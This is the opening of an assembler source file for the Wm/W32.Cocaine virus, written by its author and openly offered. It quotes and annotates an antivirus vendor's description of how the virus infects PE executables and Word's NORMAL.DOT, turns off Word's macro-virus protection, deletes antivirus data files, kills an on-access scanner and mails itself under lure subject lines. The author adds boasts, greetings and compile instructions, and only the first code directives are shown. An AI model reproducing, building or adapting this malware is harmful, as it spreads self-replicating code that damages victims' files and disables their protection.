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5768 lines
192 KiB
NASM
5768 lines
192 KiB
NASM
;Wm/W32.Cocaine - 22231 bytes
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;(c) Vecna 1999
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;
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;This virus infect PE and DOC files.
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;
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;Study the code and the AVPVE description for others features.
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;
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;Small corrections in AVPVE text are between []'s
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;
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;
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;
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;AVPVE Description:
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;
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; Cocaine
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;
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; ------------------------------------------------------------------------
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; This is a parasitic Windows PE files and MS Word normal templates infector
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; with email spreading ability, about 22Kb of length. The virus has three
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; instances: in Windows PE EXE files, in Word NORMAL template and as attached
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; file in email messages.
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;
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; The virus code in infected PE EXE files is its main instance. When it is
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; executed, the virus searches for PE EXE files in the current and Windows
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; directories and infects them. The virus also drops infected an NORMAL.DOT
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; to the MS Word directory from its PE EXE instance, as well as sends
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; infected emails. The virus instance in the NORMAL template drops and
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; executes the infected PE EXE file on each document closing, and is not able
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; to infect other documents and templates. [* Wrong. Check the infected doc I
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; included, or the file MACRO.INC for the code *] The virus code in emails
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; appears as attached file that is infected an PE EXE Windows executable file
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; with a random name, or infected NORMAL template.
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;
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; The virus is per-process memory resident. This means that the virus copy
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; may stay in memory for a long time until the infected application
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; terminates. In case only "short-life" applications are infected, the virus
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; code is not present in the system memory for long time. In case an
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; application in permanent use is infected, the virus is active during a long
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; time, hooks Windows functions, infects PE EXE files that are accessed and
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; sends email messages.
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;
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; The virus is polymorphic in PE files as well as in Word NORMAL template.
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; The virus has two polymorphic engines in its EXE code: the first of them
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; generates polymorphic decryption loop in infected PE EXE files, the second
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; one makes the virus macro program in infected NORMAL.DOT polymorphic too.
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;
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; The virus has a payload routine that is executed when an infected file is
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; run after four months when it was infected. [* 8 months... Maybe AAM 12
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; confused AVers ;-) *] This routine displays message boxes that have the
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; header "W32/Wm.Cocaine" and the text that is randomly selected from seven
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; variants:
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;
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; Your life burn faster, obey your master...
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; Chop your breakfast on a mirror...
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; Veins that pump with fear, sucking darkest clear...
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; Taste me you will see, more is all you need...
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; I will occupy, I will help you die...
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; I will run through you, now I rule you too...
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; Master of Puppets, I'm pulling your strings...
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;
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; The virus pays attention to anti-virus programs and tries to disable them.
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; Each time an infected file is executed and virus installs its per-process
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; resident copy it looks for anti-virus data files in the current directory
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; and deletes them. The names of these files look like follows: KERNEL.AVC,
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; SIGN.DEF, FIND.DRV, NOD32.000, DSAVIO32.DLL, SCAN.DAT, VIRSCAN.DAT (AVP,
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; DSAV, NOD, SCAN and other anti-virus data files). The virus also locates
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; and terminates old version of AVP Monitor on-access scanner. [* Not so
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; old ;-) *]
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;
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; The known virus version has bugs and cannot spread from Word macro instance
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; to Windows executable. It also has a bug in PE EXE infection routine and
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; corrupts some WinNT executable files. [* What can I say... is buggy :-) *]
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;
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; The virus has a "copyright" text:
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;
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; (c) Vecna
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;
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; Some virus routines (especially macro ones) are related to the "Fabi"
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; multi-platform virus, and some infected files may be detected by the name
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; of this virus. [* Probably, the loader, before it load the poly virus code,
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; can be detected as Fabi *]
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;
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; Technical details
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;
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; The virus has quite large size for a program written in Assembler - about
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; 22Kb, and has many routines that are quite interesting from a technical
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; point of view.
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;
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; Running infected EXE
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;
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; When an infected file takes control the polymorphic decryption loops are
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; executed. They decrypt the virus code layer-by-layer (the virus is
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; encrypted by several loops - from two till five) and pass control to the
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; virus installation routine. It is necessary to note that several virus
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; blocks stay still encrypted. The virus decrypts and accesses them in case
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; of need, and then encrypts back. These blocks are MS Word infection data
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; and routine as well as PE EXE polymorphic engine.
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;
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; The virus installation routine looks for necessary Windows API functions
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; addresses that are used by the virus later. The list of these functions is
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; quite long, this is caused by list of things the virus does to spread
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; itself. The functions list the virus looks for is below:
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;
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; Exported by Functions list
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; ----------- --------------
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; KERNEL32.DLL: GetProcAddress GetModuleHandleA CreateProcessA
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; CreateFileA WinExec CloseHandle LoadLibraryA FreeLibrary
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; CreateFileMappingA MapViewOfFile UnmapViewOfFile
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; FindFirstFileA FindNextFileA FindClose SetEndOfFile
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; VirtualAlloc VirtualFree GetSystemTime
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; GetWindowsDirectoryA GetSystemDirectoryA
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; GetCurrentDirectoryA SetFileAttributesA SetFileTime
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; ExitProcess GetCurrentProcess WriteProcessMemory WriteFile
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; DeleteFileA Sleep CreateThread GetFileSize SetFilePointer
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; USER32.DLL: MessageBoxA FindWindowA PostMessageA
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; ADVAPI32: RegSetValueExA RegCreateKeyExA RegOpenKeyExA
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; RegQueryValueExA RegCloseKey
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; MAPI32.DLL: MAPISendMail
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;
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; The virus gets these functions' addresses by the standard Windows virus
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; trick: it locates the image on KERNEL32.DLL in the Windows memory, scans
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; its Export table and gets addresses of two functions: GetModuleHandle and
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; GetProcAddress [* The import table is searched while infecting a file for
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; GetModuleHandle *]. By using these two functions the virus is then able
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; easily locate all addresses of other necessary functions. The most
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; interesting feature of this routine is: this is the first virus that processes
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; not only Win95/98 and WinNT addresses while looking for KERNEL32.DLL image,
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; but pays attention for Win2000 addresses also [* If the host dont import
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; GetModuleHandle this is *]
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;
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; The virus then locates and infects the MS Word, then searches for PE EXE
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; files and also infects them, then hooks a set of system events (files and
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; emails access) that is used to locate and infect more files as well as
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; spread virus copy to the Internet in attached emails.
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;
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; Infecting MS Word
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;
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; The very first infection routine that is activated by the virus is its MS
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; Word affecting routine, if it is installed in the system. First of all here
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; the virus checks for C:\ANCEV.SYS file presence.
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;
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; The C:\ANCEV.SYS file ("ANCEV"="VECNA" written backward) has a special
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; purpose. This file is created when the MS Word template infection routine
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; completes. So, this file presence means that MS Word was located and
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; NORMAL.DOT template was infected. In this case the virus while sending
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; emails sends NORMAL.DOT template but not the infected EXE dropper [* I used
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; to think that DOC files are less suspicious to send by email, but, after
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; melissa's shits, EXE are better i gues *]
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;
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; So, the virus checks for this file at the very top of MS Word infection
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; routine. If it does not exist, the virus continues infection. If this file
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; is found, the virus randomly in one cases of ten continues infection, and
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; in nine cases of ten leaves infection routine. This means that in one case
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; of ten the MS Word NORMAL.DOT will be re-infected anyway [* This is done to
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; avoid lamers creating a fake ANCEV.SYS to not have WinWord infected *].
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;
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; The virus then disables the Word VirusWarning protection by modifying the
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; system registry keys where Word stores its settings:
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;
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; SOFTWARE\Microsoft\Office\8.0\Word\Options, EnableMacroVirusProtection
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;
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; The virus then gets Word's templates directory also by reading system
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; registry:
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;
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; SOFTWARE\Microsoft\Office\8.0\Common\FileNew\LocalTemplates
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;
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; and deletes the NORMAL.DOT template in there, and then creates a new
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; NORMAL.DOT template file - infected one. The infected NORMAL.DOT contains a
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; small macro inside. This macro has "AutoExec" Word auto-name - it will be
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; automatically executed on next Word startup and will import the main virus
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; macro from the C:\COCAINE.SYS file.
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;
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; The C:\COCAINE.SYS file is created by the virus just after overwriting the
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; NORMAL.DOT template. This SYS file is a text file that contains VBA
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; program's source code. This source is extracted by the virus from its code,
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; mixed with junk (polymorphic) VBA instructions and appended by infected PE
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; EXE dropper converted to ASCII strings.
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;
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; So, the MS Word infection routine does its work in two steps. First of all
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; the virus replaces the original NORMAL.DOT with a new one that contains the
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; "AutoExec" macro program (loader) that imports complete virus code from the
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; C:\COCAINE.SYS file, and completes by that porting virus code from PE EXE
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; file to MS Word template.
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;
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; From Word to EXE
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;
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; To drop the PE EXE file from its Word template instance the virus uses a
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; standard macro-viruses' trick. It creates two files: the first of them is
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; the C:\COCAINE.SRC file with infected PE EXE file image converted to ASCII
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; form, and second file is a DOS batch with random name. This batch file
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; contains a set of instructions that execute the DOS DEBUG utility that
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; converts ASCII dump back to binary PE EXE form, and executes it [* This is
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; the worst imaginable way to drop a EXE file ever *]
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;
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; So the virus jumps to Windows out of infected Word template.
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;
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; Infecting PE EXE files
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;
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; When MS Word is affected, the virus goes to PE EXE files infection routine.
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; The virus looks for PE EXE files in the current and Windows directories and
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; infects them. The only files infected are those that have .EXE or .SCR
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; filename extensions.
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;
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; The virus then looks for installed browser and mailer and infects them too.
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; The virus locates them by system registry keys in HKEY_LOCAL_MACHINE
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; storage:
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;
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; SOFTWARE\Classes\htmlfile\shell\open\command
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; SOFTWARE\Classes\mailto\shell\open\command
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;
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; The virus needs these files to be infected for activating its Internet
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; infection routines. When these Internet accessing applications are
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; infected, the virus copy is active in the memory for a long time exactly at
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; the moment a user is connected to the Internet. This is necessary to the
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; virus to realize its Internet spreading ability.
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;
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; PE EXE Infection mechanism
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;
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; The virus checks several conditions before infecting the file. 1st: the
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; file length has to be not divisible by 101 (it is virus protection to avoid
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; multiple infection, the already infected PE EXE files have such length).
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; 2nd: when the virus looks for EXE files in the current and Windows
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; directories to infect them, the name of the file cannot contain 'V' letter
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; or digits, here the virus avoids most popular anti-virus scanners and "goat
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; files" infection.
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;
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; If the first section has big enough size (more than 2304 bytes), the virus
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; writes to there several blocks of junk code that passes the control
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; block-by-block to the main virus decryption loops. There are eight blocks
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; written to files when the virus infects them:
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;
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; +------------+
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; | |
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; |PE Header | ---------------+
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; +------------+ |
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; | +-----+<-+| |
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; | |Junk2| || |
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; | +-----+-+|| Entry Point |
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; |+-----+ |||<---------------+
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; ||Junk1| |||
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; |+-----+----+|
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; | | |
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; |+-----+<--+ |
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; ||Junk3| |
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; |+-----+----+|
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; | V|
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; | . . . |
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; | +-----+|
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; |+----|Junk8||
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; || +-----+|
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; |V |
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; |------------|
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; |Virus code |
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; | |
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; +------------+
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;
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; In this case the virus does not modify program's entry point address, but
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; it needs to restore all overwritten blocks of host file before return
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; control to original entry procedure [* CommanderBomber/OneHalf rulez *].
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;
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; If the first section is short, the control goes directly to virus code. In
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; this case the virus modifies program's entry address to get control when
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; infected files are executed.
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;
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; The virus code itself is encrypted by several (from two till five)
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; polymorphic loops. The polymorphic engine in the virus is quite strong, and
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; produces about 2Kb of polymorphic loops [* This poly is kewl *]
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;
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; The virus also patches the Import section to get functions GetProcAddress,
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; GetModuleHandle, CreateProcessA, WinExec and MAPISendMail when infection
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; executable is run.
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;
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; After all the virus writes its encrypted code to the end of last file
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; section, and increases section size by patching PE header.
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;
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; Intercepting Events
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;
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; When the Word and PE EXE direct infection routines are complete, the virus
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; hooks several Windows functions and stays in Windows memory as part of the
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; host program. The virus hooks two file access function WinExec and
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; CreateProcessA, if they are imported by the host program from the
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; KERNEL32.DLL. When these functions get control (a program is executed) the
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; virus gets the program's file name, gets its directory, searches and
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; infects PE EXE files in this directory.
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;
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; Sending Emails
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;
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; The virus per-process resident code also runs email infection thread, hooks
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; MAPISendMail that is exported from MAPI32.DLL, "connect" and "recv" from
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; WSOCK32.DLL and GetProcAddress from KERNEL32.DLL.
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;
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; The first hook is used by the virus to send its copy to the Internet. When
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; the virus intercepts this event it looks for attached data in the message.
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; If there is no attach, the virus appends to the message infected NORMAL.DOT
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; or infected PE EXE file (the latter is created on the disk in the
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; C:\ENIACOC.SYS file).
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;
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; The "GetProcAddress", "connect" and "recv" hooks are used by the virus to
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; realize second method of infected Emails sending. When a message arrives,
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; the virus scans its header for "mailto:" field, gets the address from there
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; and stores it in its own database. [* MAILTO: is a HTML command/instruction
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; used very often. Nice idea :-) *]
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;
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; When taking control the infection thread looks for email address caught by
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; "connect" and "recv" hooks, calculates its CRC and compares with its
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; "already infected addresses" database that is stored in the BRSCBC.DAT file
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; in the Windows system directory. If this address was not used yet, the
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; virus adds it to its BRSCBC.DAT database, creates a message with NORMAL
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; template or infected PE EXE file, and sends it by using MAPISendMail
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; function [* Why BRSCBC? ;-) *]. The subject field for the message is
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; randomly selected from variants:
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;
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; Kewl page!
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; Improvement to your page
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; Your page r0x0r!
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; You must see this...
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; Secret stuff!
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; [* or a empty subject line *]
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;
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; By using the BRSCBC.DAT database the virus avoids duplicate sendings, but
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; on each infected program run the virus depending on its random counter
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; deletes this file, and clears "do-not-send" database by that.
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;
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; The "GetProcAddress" that is also hooked by virus TSR copy is used only to
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; intercept "connect" and "recv" WSOCK32.DLL functions, if an application
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; does not import these routines "by default", but activates them in case of
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; need. To do that the "GetProcAddress" virus' hook intercepts accesses to
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; "connect" and "recv" WSOCK32.DLL functions' addresses. If an application
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; tries to get addresses of these routines to use Internet connections, the
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; virus returns addresses of its own "connect" and "recv" hookers, and so
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; intercepts Internet connection [* Fucking OPERA *]
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;Thnz to IkX for accepting this contribution
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;Greetz to Z0MBiE, VirusBuster and Reptile(the first to use macro autoload)
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;Special greetz goes to Jacky Qwerty:
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;Los virus no serian lo que son hoy si no fuera por vos!
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;THNDV/CAP/Cabanas RULEZ! (THNDV solo para los mas vivos ;> )
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;Big fuckZ to T2000 and El Gusano Boliviano: lamers and ripperz!!!!
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;Greetz to all creative coders
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;Use the pre-compiled virus, but if you're a sort of 37337 d00d... to compile:
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; TASM /M /ML COKE.ASM
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; TLINK32 COKE,,,IMPORT32
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; PEWRSEC COKE.EXE
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;Remember to split the big COKE.ASM in the smaller incz before!
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;(and beware the trap ;> )
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;contacts: vecna_br@hotmail.com (except questions about compiling)
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.586p
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.model flat, STDCALL
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locals
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include host.inc
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